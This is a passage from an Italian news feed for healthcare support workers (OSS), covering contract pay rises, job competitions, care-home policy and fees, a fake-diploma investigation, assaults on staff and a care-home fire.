euro lordi per 13 mensilità, pari a un aumento complessivo del 6,8% rispetto agli stipendi precedenti. Gli aumenti sono destinati a tutto il personale, con una particolare attenzione verso i ruoli sanitari e socio-sanitari. Il nuovo contratto interviene anche sulle indennità specifiche, come quella infermieristica e quella destinata al personale impiegato nei pronto soccorso, che vedranno una progressiva crescita a partire dal 2024 fino al 2026. Per gli infermieri dei pronto soccorso, ad esempio, l'indennità mensile passerà da 150 a 360 euro, con un valore finale a regime di 510 euro mensili. Sono inoltre previsti gli arretrati relativi al periodo contrattuale 2022-2024. Le somme variano in base al profilo professionale: fino a 2. 100 euro lordi per gli infermieri, 1. 970 euro per gli assistenti sanitari e 1. 850 euro per gli operatori socio-sanitari. Il pagamento è atteso entro l’estate 2025. Oltre agli aspetti retributivi, il contratto introduce misure per la valorizzazione professionale e il riconoscimento delle competenze. Viene rafforzato il sistema delle progressioni orizzontali, viene aggiornata la disciplina sulla formazione continua e si prevede un aumento delle risorse destinate ai fondi decentrati aziendali. Si interviene inoltre su temi come il benessere organizzativo, la sicurezza sul lavoro e il miglioramento delle condizioni operative all’interno delle strutture sanitarie pubbliche. Il rinnovo contrattuale arriva in un momento importante per il sistema sanitario italiano, segnato dalla necessità di rafforzare l’attrattività delle professioni sanitarie, fronteggiare la carenza di personale e valorizzare le competenze acquisite durante la gestione dell’emergenza pandemica. Le parti firmatarie hanno sottolineato l’importanza di questo passaggio come riconoscimento concreto dell’impegno quotidiano del personale del SSN. --- > Alessia Savo propone la videosorveglianza obbligatoria nelle RSA del Lazio per aumentare il controllo e ridurre gli abusi sugli anziani. - Published: 2025-06-06 - Modified: 2025-06-06 - URL: https://ossinreparto.it/news/2025/06/06/videosorveglianza-nelle-rsa-del-lazio-la-proposta-di-legge-di-alessia-savo-contro-gli-abusi-sugli-anziani/ - Categorie: Attualità - Tag: Residenze per Anziani Alessia Savo propone la videosorveglianza obbligatoria nelle RSA del Lazio per aumentare il controllo e ridurre gli abusi sugli anziani. Una svolta significativa nella tutela degli anziani arriva dalla Regione Lazio, dove è stata presentata una proposta di legge per introdurre sistemi di videosorveglianza obbligatoria nelle RSA (Residenze Sanitarie Assistenziali), sia pubbliche che private accreditate. Prima firmataria è Alessia Savo, presidente della Commissione Sanità e Politiche Sociali, che ha spiegato l'urgenza di questa iniziativa, nata per rispondere a una reale emergenza sociale: le numerose segnalazioni di maltrattamenti e abusi avvenuti negli anni nelle strutture assistenziali per anziani. Alessia Savo ha spiegato che: "Questa proposta nasce da un'esigenza concreta: quella di contrastare episodi drammatici e inaccettabili di maltrattamenti e abusi. Parliamo di fenomeni che, secondo i dati, hanno raggiunto proporzioni preoccupanti. Abbiamo il dovere morale e istituzionale di intervenire con tutti gli strumenti disponibili per difendere le persone più fragili. " - Alessia Savo Con questa legge, l'obiettivo è rafforzare il controllo all'interno delle RSA, creando un ambiente più sicuro e trasparente per tutti. Le videocamere a circuito chiuso, installate nelle aree comuni e - su richiesta - anche nelle stanze private (con consenso dell'interessato o dei familiari), permetteranno di prevenire abusi e violenze che purtroppo in passato sono stati troppo frequenti e spesso difficili da dimostrare. L'uso delle registrazioni sarà regolamentato da precise norme sulla privacy: saranno accessibili solo in caso di denuncia o indagine, e saranno criptate per tutelare i diritti di ospiti e operatori. Cosa prevede la proposta di legge La proposta, identificata come DDL n. 195, introduce misure concrete per aumentare i livelli di sicurezza nelle RSA: Installazione obbligatoria di sistemi di videosorveglianza per ottenere o mantenere l'autorizzazione all'attività; Possibilità di videosorveglianza anche in camera, su base volontaria; Accesso limitato ai dati video, solo in caso di necessità; Finanziamenti regionali per sostenere le RSA nell'adeguamento tecnologico; Campagne informative sulla cultura della legalità e del rispetto nei luoghi di cura. "Qualsiasi forma di sopruso, violenza o comportamento lesivo della dignità umana - ha aggiunto Savo - va contrastata. Ma quando questi episodi colpiscono chi non ha più la forza per difendersi, l'intervento delle istituzioni diventa un dovere ancora più urgente. " Con l'introduzione della videosorveglianza nelle RSA, la Regione Lazio vuole aumentare il livello di controllo e ridurre drasticamente gli abusi che, purtroppo, si sono verificati negli anni. Si tratta di una misura che protegge gli anziani, rassicura le famiglie e promuove la trasparenza nelle strutture assistenziali. Ora si attende l'iter legislativo in Aula per la definitiva approvazione. --- > Scopri i migliori libri per prepararti al concorso OSS: manuali completi, quiz aggiornati e consigli utili per superare le prove scritte, pratiche e orali. - Published: 2025-05-22 - Modified: 2025-05-22 - URL: https://ossinreparto.it/news/2025/05/22/libri-concorso-oss-regione-campania/ - Categorie: Concorsi, Diventare OSS - Tag: Guide OSS, Offerte Amazon Scopri come prepararti al Concorso OSS Regione Campania 2025 per 1.274 posti a tempo indeterminato. Il Concorso Unico Regionale per Operatori Socio-Sanitari (OSS) 2025 rappresenta un’importante occasione per rafforzare i servizi socio-sanitari pubblici della Regione Campania, con un totale di 1. 274 posti a tempo indeterminato distribuiti su tutto il territorio regionale. Il bando è stato pubblicato sulla Gazzetta Ufficiale n. 99 del 13 dicembre 2024 e le domande di partecipazione sono scadute il 12 gennaio 2025. Attualmente i candidati sono in attesa della pubblicazione del calendario delle prove d’esame, che comprenderanno test a risposta multipla e una prova orale, secondo quanto previsto dal bando. Il concorso prevede due fasi: Prova Scritta: Elementi di legislazione sociale e sanitaria; Aspetti organizzativi del lavoro sociale e sanitario; Assistenza alla persona; Anatomia e fisiologia umana. Prova Orale Materie della prova scritta; Legislazione nazionale e regionale socio-assistenziale; Etica e deontologia professionale; Comunicazione con l'assistito; Sicurezza sul lavoro; Elementi di primo soccorso; Conoscenze informatiche di base; Lingua inglese. Quali libri acquistare per prepararsi Per prepararsi al meglio al concorso per i 1274 posti da Operatore Socio Sanitario (OSS) indetto dalla Regione Campania, è fondamentale disporre di materiali aggiornati e mirati. Di seguito vi proponiamo una selezione di libri e kit di studio che includono manuali teorici, raccolte di quiz, guide pratiche e video lezioni, ideali per affrontare con sicurezza le diverse fasi della selezione. Kit concorso 1274 posti OSS Regione Campania: manuale, test, guida OSS, video lezioni Acquista il kit direttamente su Amazon, cliccando qui (link all’acquisto) Concorso Regione Campania 1274 OSS Operatore socio-sanitario, Teoria e Quiz Acquista il libro direttamente su Amazon, cliccando qui (link all’acquisto) Operatore Socio Sanitario: quiz e procedure per le prove di selezione Acquista il libro su Amazon, cliccando qui (link all’acquisto) Come prepararsi per un concorso OSS Prepararsi a un concorso per Operatore Socio-Sanitario (OSS) richiede impegno, costanza e una strategia di studio ben organizzata. Il primo passo fondamentale è conoscere a fondo il bando di concorso, analizzando le materie previste e la struttura delle prove, che solitamente includono una prova scritta a risposta multipla e una prova orale. Le prove pratiche, spesso sottovalutate, meritano una preparazione attenta: è importante ripassare le manovre assistenziali di base come l’igiene del paziente, la mobilizzazione, il corretto utilizzo dei presidi sanitari (es. guanti, letti, carrozzine) e la rilevazione dei parametri vitali. Partecipare a gruppi di studio, anche online, permette di confrontarsi con altri candidati, chiarire dubbi e mantenere alta la motivazione. L’organizzazione è fondamentale: occorre creare un calendario di studio, con obiettivi giornalieri o settimanali, alternando momenti di teoria e pratica. Infine, non va trascurato l’aspetto emotivo: affrontare la preparazione con una mentalità positiva, gestire lo stress e credere nelle proprie capacità sono elementi chiave per arrivare preparati e sereni al giorno del concorso. Rimanere informati attraverso i siti ufficiali delle aziende sanitarie e consultare regolarmente fonti attendibili aiuta a non perdere aggiornamenti importanti. Con impegno e determinazione, superare il concorso OSS è un obiettivo assolutamente raggiungibile. --- - Published: 2025-05-22 - Modified: 2025-05-22 - URL: https://ossinreparto.it/news/2025/05/22/tac-gatto-ospedale-aosta/ - Categorie: Attualità Caso ad Aosta: primario usa TAC ospedaliera per salvare la sua gatta. Indagine per peculato, Ordine dei Medici sconcertato. Scoppia il dibattito. Ha fatto scalpore il caso del dottore di Aosta, primario di radiologia interventistica all'ospedale Parini di Aosta, che ha utilizzato una TAC ospedaliera per diagnosticare un trauma alla propria gatta, Athena, precipitata da sei piani. Il fatto è avvenuto il 27 gennaio 2025, in orario serale e fuori servizio. Secondo la ricostruzione, il medico ha portato l'animale nella struttura pubblica e ha eseguito una tomografia computerizzata e un drenaggio toracico per trattare un pneumotorace, salvandole la vita. Il medico ha ammesso l'accaduto, parlando di un “atto d’amore” e offrendosi di rimborsare l’uso indebito della macchina. A seguito della segnalazione interna dell'USL Valle d'Aosta, la Procura ha aperto un'indagine per peculato. Al momento sono quattro le persone indagate, tra cui il medico in questione e due colleghi tecnici che lo avrebbero aiutato. L'USL ha inoltre avviato un'indagine disciplinare per violazione del regolamento sull'uso delle apparecchiature sanitarie. L'Ordine dei Medici ha espresso "profondo sconcerto" denunciando, tra l'altro, rischi igienico-sanitari per l’introduzione di un animale in un'area clinica. Il caso ha suscitato un ampio dibattito anche a livello internazionale, finendo sulle colonne del Times e del Daily Mail. Nel frattempo, il direttore generale dell'USL ha deciso di non sospendere il medico, evidenziando la carenza di personale nel reparto di radiologia e la necessità di garantire la continuità assistenziale. https://www. youtube. com/watch? v=uM4Iy8NP-lg&ab_channel=Rai --- - Published: 2025-05-19 - Modified: 2025-05-19 - URL: https://ossinreparto.it/news/2025/05/19/maxi-concorso-oss-puglia-2025-1-287-posti-disponibili-in-asl-e-irccs/ - Categorie: Concorsi, News Concorsi Maxi concorso OSS in Puglia: 1.287 posti disponibili nelle ASL e IRCCS regionali. Bando atteso entro giugno 2025. Ecco dettagli e scadenze. La Regione Puglia si prepara a un'importante tornata di assunzioni nel settore sanitario. Il Policlinico "Riuniti" di Foggia, in qualità di azienda capofila, ha trasmesso alle Aziende Sanitarie Locali (ASL) e agli IRCCS pugliesi la bozza del bando unico regionale per il profilo professionale di Operatore Socio Sanitario (OSS). Il maxi concorso prevede la copertura di 1. 287 posti distribuiti tra le diverse strutture sanitarie della regione: ASL Bari: 150 posti ASL Barletta-Andria-Trani: 25 posti ASL Brindisi: 80 posti IRCCS "Giovanni Paolo II" di Bari: 9 posti ASL Taranto: 140 posti ASL Foggia: 315 posti Policlinico di Bari: 250 posti ASL Lecce: 225 posti IRCCS "De Bellis" di Castellana Grotte: 23 posti Policlinico di Foggia: 70 posti Le aziende sanitarie hanno ora 15 giorni per esprimere osservazioni o approvare la bozza del bando. La pubblicazione ufficiale è prevista entro giugno 2025, con scadenza per la presentazione delle domande indicativamente entro luglio 2025. Questo maxi concorso rappresenta un'importante opportunità per gli operatori socio sanitari qualificati che desiderano entrare o stabilizzarsi nel servizio pubblico regionale. Per ulteriori informazioni e aggiornamenti, è possibile consultare il sito ufficiale del Policlinico "Riuniti" di Foggia o il portale regionale del BUR. --- > Al via il maxi-concorso per OSS in Puglia. Intanto l'ASL Foggia assume 15 nuovi operatori. Previsti 300 posti a tempo indeterminato al Policlinico Riuniti. - Published: 2025-05-13 - Modified: 2025-05-13 - URL: https://ossinreparto.it/news/2025/05/13/maxi-concorso-oss-puglia-2025/ - Categorie: Attualità - Tag: Lavorare come OSS In arrivo in Puglia un maxi-concorso per 300 OSS a tempo indeterminato. Un’occasione storica per chi sogna stabilità nel settore sanitario pubblico. In Puglia è imminente l’avvio del mega-concorso per l'assunzione di ben 300 OSS a tempo indeterminato presso il Policlinico Riuniti di Foggia. Una notizia che segna una svolta significativa nel rafforzamento della sanità pubblica regionale e che rappresenta una grande opportunità per migliaia di candidati in cerca di stabilità e valorizzazione professionale. Nel frattempo, l'ASL di Foggia continua ad assumere: proprio in questi giorni, sono entrati in servizio 15 nuovi Operatori Socio Sanitari, accolti con soddisfazione dal direttore generale Antonio Nigri. “Queste assunzioni rappresentano un primo passo concreto verso il potenziamento dell’assistenza sanitaria sul territorio. Il nostro obiettivo è rispondere con efficacia alle crescenti esigenze della popolazione e garantire una presenza costante di personale qualificato nei reparti”, ha dichiarato Nigri. Il maxi-concorso OSS in Puglia, attualmente in fase di predisposizione, si preannuncia tra i più attesi dell'anno, con centinaia di posti distribuiti tra le varie aziende sanitarie regionali, e il Policlinico Riuniti in testa con il più alto contingente. La procedura, una volta pubblicata in Gazzetta Ufficiale, offrirà la possibilità a molti candidati, inclusi coloro in graduatoria da precedenti concorsi, di ottenere un contratto a tempo indeterminato in ambito sanitario. Il ruolo dell'OSS, sempre più centrale nella gestione dell’assistenza ai pazienti, soprattutto anziani e fragili, si conferma dunque tra i più richiesti. Le strutture sanitarie pugliesi puntano a rafforzare il proprio organico per rispondere in modo tempestivo alle sfide della sanità moderna, con attenzione alla qualità delle cure e al benessere dell’utenza. Il 2025 si prospetta come un anno ricco di opportunità per chi desidera lavorare come Operatore Socio Sanitario in Puglia. Tra nuove assunzioni già avvenute e concorsi in arrivo, il settore sanitario regionale è in fermento. Chi sogna una carriera stabile nel pubblico, farebbe bene a prepararsi: il treno dell'occasione sta per arrivare. In copertina: Ospedale Riuniti di Foggia (FoggiaToday) --- > L’assenza di una legge nazionale sulla non autosufficienza alimenta ricorsi legali e disparità territoriali. Il Patto per un nuovo welfare chiede una riforma urgente. - Published: 2025-05-08 - Modified: 2025-05-08 - URL: https://ossinreparto.it/news/2025/05/08/rette-rsa-cresce-la-confusione-tra-famiglie-regioni-e-magistratura/ - Categorie: Attualità RSA, rette oltre 2.000 euro al mese: senza legge nazionale, famiglie in difficoltà e costrette a rivolgersi ai tribunali. Nel nostro Paese, sempre più famiglie si trovano in difficoltà nel momento in cui devono affrontare le spese per l’ingresso di un proprio caro in una RSA (Residenza Sanitaria Assistenziale). Le rette mensili possono superare facilmente i 2. 000 euro, e spesso non è chiaro chi debba pagarle: la famiglia, il Comune, la Regione o lo Stato? Questa incertezza è causata dall’assenza di una legge nazionale chiara e univoca, e a farne le spese sono proprio gli anziani più fragili e i loro familiari. A denunciare questa situazione è il Patto per un nuovo welfare sulla non autosufficienza, una coalizione che riunisce oltre 60 organizzazioni tra realtà del terzo settore, società scientifiche e sindacati. Secondo il Patto, senza un intervento legislativo serio, il sistema continua a scaricare le sue contraddizioni sulle spalle delle famiglie, che sempre più spesso ricorrono alla magistratura per far valere i propri diritti. Secondo gli esperti, questa situazione è frutto di tre fattori principali: Nessuna legge quadro sulla non autosufficienza: In Italia manca una normativa nazionale che definisca con precisione i livelli essenziali di assistenza per le persone non autosufficienti, compreso il tema del contributo economico. Norme regionali diverse: ogni Regione applica regole diverse su chi paga e quanto. Questo crea grandi disuguaglianze territoriali, dove cittadini con lo stesso bisogno ricevono trattamenti molto differenti. Confusione tra sanitario e sociale: le RSA offrono sia cure sanitarie che assistenza sociale. Tuttavia, le due componenti seguono logiche e finanziamenti diversi. Il risultato? Un sistema frammentato, dove nessuno si assume pienamente la responsabilità del costo. Per risolvere il problema, serve una riforma nazionale organica che definisca chi ha diritto all’assistenza e in quali modalità, chiarisca le competenze tra Stato, Regioni e Comuni, stabilizzi i finanziamenti pubblici per sostenere le RSA senza gravare eccessivamente sulle famiglie. Solo così sarà possibile garantire un sistema più equo, trasparente e sostenibile, che tuteli davvero la dignità delle persone anziane e dei loro caregiver. --- > Partecipa al Concorso OSS a Longarone: posti a tempo indeterminato con benefit, buoni pasto, alloggio incluso e welfare aziendale. Domande entro il 22 maggio 2025. - Published: 2025-05-08 - Modified: 2025-05-08 - URL: https://ossinreparto.it/news/2025/05/08/oss-posti-tempo-indeterminato-belluno/ - Categorie: News Concorsi - Tag: Lavorare come OSS Bando OSS a Belluno: posti a tempo indeterminato con buoni pasto, welfare, alloggio e stipendio lordo annuo di oltre 20.000 euro. L'ente Servizi alla Persona Longarone Zoldo a. s. c. ha indetto un bando per la selezione di Operatori Socio Sanitari (OSS) da inserire a tempo pieno e indeterminato presso i Centri Servizi di Longarone, Val di Zoldo e Alpago, in provincia di Belluno. I candidati selezionati beneficeranno di: Trattamento economico lordo annuo di € 20. 855,51; Buoni pasto del valore di € 8,00 netti per ogni giorno di presenza, fino a € 2. 496,00 netti all’anno; Possibilità di alloggio temporaneo per i neoassunti non residenti nei comuni di Longarone, Val di Zoldo e Alpago, fino a disponibilità; Accesso al sistema di welfare aziendale, con premi medi annuali di circa € 1. 900,00 netti; Possibilità di liquidazione della banca ore maturata, su richiesta. Requisiti per la candidatura Per partecipare alla selezione, è necessario: Possedere la cittadinanza italiana, di un paese dell'Unione Europea o, per cittadini extracomunitari, un regolare permesso di soggiorno; Avere almeno 18 anni compiuti alla data di presentazione della candidatura; Essere in possesso dell'attestato di qualifica di Operatore Socio Sanitario (OSS) o titolo equipollente riconosciuto dalla Regione Veneto; Godere dei diritti civili e politici e non avere condanne penali che impediscano l'accesso al pubblico impiego; Essere fisicamente idonei all'impiego. Modalità di presentazione della domanda Le domande devono essere presentate entro le ore 12:00 del 22 maggio 2025. È possibile inoltrare la candidatura: A mano, presso l’Ufficio Protocollo di Servizi alla Persona Longarone Zoldo a. s. c. , in via B. Larese 6 – 32013 Longarone, dal lunedì al venerdì, in orario mattutino; Tramite raccomandata A/R, indirizzata al Direttore Generale dell'ente; Via PEC, all’indirizzo aziendalz@pec. it, specificando in oggetto “Candidatura selezione OSS”. La domanda, redatta in carta semplice secondo lo schema allegato al bando, deve essere inserita in una busta chiusa recante la dicitura “Candidatura selezione OSS”, con indicazione di nome, cognome e indirizzo del candidato. Selezione e colloqui I colloqui di selezione si svolgeranno a partire dal 27 maggio 2025 e potranno essere effettuati anche in modalità telematica, su richiesta del candidato. L'elenco degli ammessi, con indicazione di giorni, orari e sedi dei colloqui, sarà pubblicato sul sito ufficiale dell'ente (www. aziendalz. it) a partire dal 26 maggio 2025. Per ulteriori dettagli e per scaricare il bando completo, è possibile consultare il sito ufficiale dell'ente: www. aziendalz. it. --- > Scoperta rete di falsi diplomi OSS: 107 indagati, attestati venduti fino a 2.500 euro. Sequestri in strutture sanitarie e private. - Published: 2025-05-08 - Modified: 2025-05-08 - URL: https://ossinreparto.it/news/2025/05/08/truffa-attestati-oss-indagate-107-persone/ - Categorie: Cronaca Scoperta rete di falsi diplomi OSS: 107 indagati, attestati venduti fino a 2.500 euro. Sequestri in strutture sanitarie e private. Un'indagine condotta dai Carabinieri del NAS ha portato alla luce una vasta rete di falsi diplomi per Operatori Socio Sanitari (OSS), coinvolgendo 107 persone in diverse regioni italiane. Le perquisizioni sono state eseguite in strutture sanitarie e domicili privati, portando al sequestro di numerosi attestati falsi. Secondo quanto emerso dalle indagini, i falsi diplomi venivano venduti a prezzi variabili tra i 1. 500 e i 2. 500 euro, senza che i beneficiari avessero frequentato i corsi di formazione obbligatori. Alcuni degli indagati avrebbero utilizzato questi attestati per ottenere impieghi in strutture sanitarie, mettendo a rischio la salute dei pazienti. Le indagini hanno interessato diverse regioni italiane, tra cui Lombardia, Lazio e Campania.  Le perquisizioni hanno portato al sequestro di numerosi documenti falsi e all'identificazione di centri di formazione non autorizzati coinvolti nella truffa. Il Ministro dell'Istruzione e del Merito, Giuseppe Valditara, ha espresso preoccupazione per l'accaduto, sottolineando l'importanza di garantire la qualità e la credibilità del sistema educativo e formativo italiano. Gli indagati dovranno rispondere di reati quali truffa aggravata, falsità ideologica e materiale in atti pubblici, nonché associazione per delinquere.  Le autorità stanno valutando ulteriori misure per prevenire il ripetersi di simili episodi. --- - Published: 2025-05-07 - Modified: 2025-05-07 - URL: https://ossinreparto.it/news/2025/05/07/sciopero-sanita-privata-22-maggio/ - Categorie: Attualità Sciopero sanità privata il 22 maggio: si chiedono contratto, tutele, valorizzazione OSS e migliori condizioni nelle RSA. Il settore della sanità privata e delle Residenze Sanitarie Assistenziali (RSA) si prepara a una giornata di mobilitazione nazionale. I sindacati FP CGIL, CISL FP e UIL FPL hanno confermato lo sciopero del 22 maggio, portando all’attenzione dell’opinione pubblica una serie di problematiche che, da tempo, affliggono i lavoratori del comparto sociosanitario. Le ragioni dello sciopero nazionale nella sanità privata sono molteplici, ma tutte ruotano attorno a un nodo centrale: la dignità e i diritti di migliaia di operatori sociosanitari, infermieri e personale impiegato nelle RSA. Tra i principali motivi della protesta troviamo: Rinnovo del contratto nazionale per i lavoratori delle RSA, scaduto da anni; Condizioni lavorative difficili, spesso aggravate da carichi eccessivi di lavoro e turni estenuanti; Riconoscimento economico e professionale adeguato alle competenze e alle responsabilità assunte dagli operatori; Tutela della salute e sicurezza nei luoghi di lavoro, un tema diventato ancora più urgente dopo la pandemia. Quali saranno gli effetti dello sciopero del 22 maggio? Lo sciopero, che riguarda strutture sanitarie private e RSA su tutto il territorio nazionale, potrebbe avere impatti significativi sull'erogazione dei servizi, specialmente in ambiti dove il personale è già ridotto all’essenziale. Tuttavia, i sindacati assicurano che saranno garantiti i servizi minimi essenziali, nel rispetto del diritto alla salute dei pazienti e degli ospiti delle RSA. Le sigle sindacali coinvolte, FP CGIL, CISL FP e UIL FPL, chiedono un confronto serio e tempestivo con le associazioni datoriali e con il Governo. L’obiettivo è quello di: Accelerare le trattative per il rinnovo contrattuale; Promuovere maggiori investimenti nel settore della sanità privata; Valorizzare il ruolo degli operatori sociosanitari (OSS) e di tutto il personale impiegato nelle strutture assistenziali. Quello del 22 maggio non è solo uno sciopero, ma un segnale forte da parte di chi lavora ogni giorno a stretto contatto con fragilità, cronicità e disabilità. È un’occasione per ripensare il modello di assistenza, che non può prescindere dal benessere di chi opera all’interno delle RSA e delle strutture sanitarie private. --- > Il 1° maggio molti festeggiano, ma il personale sanitario resta in servizio: un tributo a chi lavora per la nostra salute ogni giorno. - Published: 2025-05-01 - Modified: 2025-05-01 - URL: https://ossinreparto.it/news/2025/05/01/personale-sanitario-a-lavoro-primo-maggio/ - Categorie: Attualità Il 1° maggio molti festeggiano, ma il personale sanitario resta in servizio: un tributo a chi lavora per la nostra salute ogni giorno. Mentre l’Italia si concede una pausa per onorare la Festa dei Lavoratori, c’è chi oggi non spegne la sveglia, non indossa abiti comodi né partecipa ai picnic di primavera. Medici, infermieri, Operatori Socio-Sanitari (OSS) e altri professionisti della salute sono, anche oggi, al loro posto: in reparto, in pronto soccorso, nelle RSA, nei servizi domiciliari. Per loro, il 1° maggio non è sinonimo di riposo, ma l’ennesima giornata in trincea. Nel silenzio ovattato dei corridoi ospedalieri e nei ritmi incessanti delle centrali operative, il lavoro continua. Si assiste, si ascolta, si cura. Mentre il Paese celebra i diritti conquistati, loro ne rivendicano di nuovi: orari sostenibili, sicurezza sul lavoro, riconoscimento economico e professionale. È la sanità che non si ferma, nemmeno quando tutto il resto lo fa. Il Primo Maggio assume, per loro, un significato duplice. Per chi non è di turno, è l’occasione per unirsi a cortei e voci che chiedono un sistema sanitario più equo e sostenibile. Per chi invece lavora, è la prova tangibile di un impegno che va oltre la professione: è vocazione, è responsabilità, è tenuta in piedi di un sistema troppo spesso trascurato dalle politiche e dall’opinione pubblica. I lavoratori della sanità non chiedono solo gratitudine, ma scelte concrete. Perché dietro ogni letto assistito anche oggi, ci sono turni saltati, ferie rinviate, famiglie lasciate a casa. C’è la dignità di un mestiere che non conosce festa. Ed è proprio in questa giornata simbolica che dobbiamo guardare a loro con occhi diversi, con rispetto e consapevolezza. Il Primo Maggio sia allora anche il loro giorno: quello di chi lavora per garantire il diritto alla salute, anche quando i riflettori sono spenti. A loro va il nostro grazie più sincero, e l’auspicio che il loro valore non venga ricordato solo nei giorni di festa, ma ogni giorno dell’anno. --- > Pubblicato avviso di mobilità volontaria all'AOU Dulbecco di Catanzaro, Calabria, per 3 posti da OSS. - Published: 2025-04-29 - Modified: 2025-04-29 - URL: https://ossinreparto.it/news/2025/04/29/aou-dulbecco-catanzaro-mobilita-3-oss-bando-completo/ - Categorie: News Concorsi - Tag: Lavorare come OSS L'AOU "Renato Dulbecco" di Catanzaro cerca 3 OSS a tempo pieno tramite mobilità volontaria. Domande entro 30 giorni via portale online. L'Azienda Ospedaliero-Universitaria "Renato Dulbecco" di Catanzaro ha pubblicato un avviso di mobilità volontaria per la copertura di 3 posti da Operatore Socio-Sanitario (OSS) a tempo pieno e indeterminato. L'iniziativa mira a rafforzare il personale dedicato all’assistenza sanitaria, migliorando la qualità dei servizi offerti ai cittadini. L'AOU "Renato Dulbecco" è un punto di riferimento per la sanità calabrese, con un forte orientamento alla ricerca scientifica e alla formazione. Un'opportunità importante per gli OSS che desiderano inserirsi in un contesto professionale stimolante e in continua evoluzione. Requisiti per partecipare all'avviso di mobilità OSS La selezione è riservata agli OSS in servizio a tempo indeterminato presso enti del Servizio Sanitario Nazionale o enti pubblici appartenenti al comparto sanità, con lo stesso profilo professionale. I principali requisiti richiesti sono: Attestato di qualifica di Operatore Socio-Sanitario conseguito al termine del corso di formazione previsto dalla normativa vigente; Assenza di condanne penali e procedimenti disciplinari in corso; Idoneità fisica all’impiego. Come presentare la domanda Gli interessati devono presentare domanda entro 30 giorni dalla data di pubblicazione dell'avviso sul Bollettino Ufficiale della Regione Calabria. La domanda può essere inoltrata esclusivamente attraverso il portale dedicato: http://renatodulbeccoaou. concorsismart. it. La selezione avverrà sulla base della valutazione dei titoli e, in caso di necessità, mediante un colloquio conoscitivo. Per consultare il bando completo, clicca qui. --- - Published: 2025-04-29 - Modified: 2025-04-29 - URL: https://ossinreparto.it/news/2025/04/29/lanciano-infermiera-e-oss-aggrediti-al-pronto-soccorso-e-allarme-sicurezza/ - Categorie: Cronaca Lanciano, uomo aggredisce infermiera e OSS al Pronto Soccorso. Sindacato: “Serve sicurezza per il personale sanitario”. Nella notte tra sabato 26 e domenica 27 aprile 2025, al Pronto Soccorso dell'ospedale "Renzetti" di Lanciano (Chieti), si è verificato un grave episodio di violenza ai danni del personale sanitario. Un uomo, in evidente stato di alterazione psico-fisica, ha aggredito un'infermiera e un operatore socio-sanitario (OSS) intervenuto in suo aiuto. Secondo quanto riportato, l'uomo si era recato in ospedale per ottenere informazioni sulla moglie, in quel momento sotto cure mediche. Alla richiesta di attendere nella sala d'aspetto, ha reagito con violenza: ha afferrato l'infermiera per un polso, urlando contro il personale, e ha poi colpito l'OSS con calci e pugni, afferrandolo per il collo e trascinandolo sul pavimento. Solo l'intervento dei Carabinieri ha riportato la calma. La Fp Cgil di Chieti ha denunciato l'accaduto, sottolineando come questo episodio si inserisca in una serie di aggressioni ai danni del personale sanitario del Pronto Soccorso di Lanciano. Il sindacato ha richiesto interventi urgenti per garantire la sicurezza degli operatori, tra cui l'installazione di telecamere funzionanti, un presidio fisso di polizia all'interno dell'ospedale e l'applicazione rigorosa delle norme esistenti. Purtroppo, questo non è un caso isolato. Negli ultimi giorni, si sono verificati episodi simili in diverse strutture sanitarie italiane. A Lamezia Terme, un 24enne di origine gambiana ha aggredito due medici cubani e due infermiere nel Pronto Soccorso dell'ospedale locale, ed è stato arrestato dalle forze dell'ordine. A Ivrea, due operatrici socio-sanitarie sono state aggredite da un paziente di 46 anni; una delle due ha riportato contusioni a un braccio. A Castrovillari, in provincia di Cosenza, un OSS è stato aggredito fisicamente dal parente di un bambino ricoverato, durante l'orario di visita e sotto gli occhi di altri piccoli pazienti e dei loro genitori. Questi episodi evidenziano una crescente emergenza legata alla sicurezza del personale sanitario nei Pronto Soccorso italiani. I sindacati e le associazioni di categoria chiedono misure concrete e immediate per tutelare chi ogni giorno opera in prima linea per garantire l'assistenza ai cittadini. --- > Un incendio in una RSA di Rivarolo Canavese a Torino causa la morte di un ospite di 78 anni e l'intossicazione lieve di un OSS. - Published: 2025-04-28 - Modified: 2025-04-28 - URL: https://ossinreparto.it/news/2025/04/28/incendio-rsa-rivarolo-canavese-torino-muore-anziano/ - Categorie: Cronaca Incendio a Rivarolo Canavese: un anziano muore e un operatore è intossicato. Le indagini sono in corso per chiarire le cause del tragico evento. Un tragico incendio è scoppiato alle prime luci dell'alba di sabato 26 aprile 2025 presso una struttura di accoglienza a Rivarolo Canavese, in provincia di Torino. Le fiamme, divampate intorno alle 4 del mattino, hanno causato la morte di un paziente di 78 anni originario di Ozegna, ospite della struttura per motivi di emergenza abitativa. Vigili del Fuoco Secondo le prime ricostruzioni, l'incendio sarebbe stato innescato da un mozzicone di sigaretta acceso lasciato sul letto. Un operatore socio-sanitario di 52 anni, nel tentativo di spegnere le fiamme con un estintore, è rimasto lievemente intossicato dai fumi ed è stato successivamente trasportato all'ospedale di Ivrea per accertamenti. Sul posto sono intervenuti i vigili del fuoco di Rivarolo, Ivrea e Torino, che hanno lavorato per diverse ore per domare l'incendio. Una volta messa in sicurezza l'area, è stato rinvenuto il corpo senza vita dell'anziano. I carabinieri di Rivarolo Canavese stanno conducendo le indagini per chiarire le esatte cause dell'accaduto. La struttura "Anffas La Torre" è gestita dalla comunità Anffas e si occupa di disagio sociale e disabilità, offrendo anche alloggi per persone in difficoltà. I locali colpiti dalle fiamme sono stati posti sotto sequestro, mentre il resto dell'edificio è stato dichiarato agibile. Questo tragico evento riaccende l'attenzione sulla necessità di rigorose misure di sicurezza antincendio nelle strutture di accoglienza, specialmente quelle destinate a persone vulnerabili. --- - Published: 2025-04-28 - Modified: 2025-04-28 - URL: https://ossinreparto.it/news/2025/04/28/oss-esclusi-dalla-detassazione-sollecito-governo-italiano/ - Categorie: Attualità - Tag: Lavorare come OSS Raffaele Diglio chiede al Governo di includere gli OSS nella detassazione al 5% sugli straordinari, riconoscendo il loro ruolo fondamentale nel SSN. Raffaele Diglio, dirigente sanitario con esperienza sindacale e già assessore comunale nella provincia di Caserta, ha recentemente presentato un sollecito al Governo italiano per includere gli Operatori Socio-Sanitari (OSS) nella detassazione al 5% prevista per gli straordinari dalla Legge di Bilancio 2025. Attualmente, la misura fiscale è riservata esclusivamente a medici e infermieri, escludendo una categoria che svolge un ruolo fondamentale nel Sistema Sanitario Nazionale (SSN). "Escludere gli OSS da misure economiche di questo tipo rischia di demotivare una categoria già sottoposta a grandi sacrifici e spesso ignorata dalle politiche di settore", ha dichiarato Diglio, sottolineando l'importanza del loro contributo nei presidi ospedalieri, distretti socio-sanitari, ambulatori, Unità Operative, Pronto Soccorso, sale operatorie e servizi di emergenza come il 118. Nel suo appello, Diglio 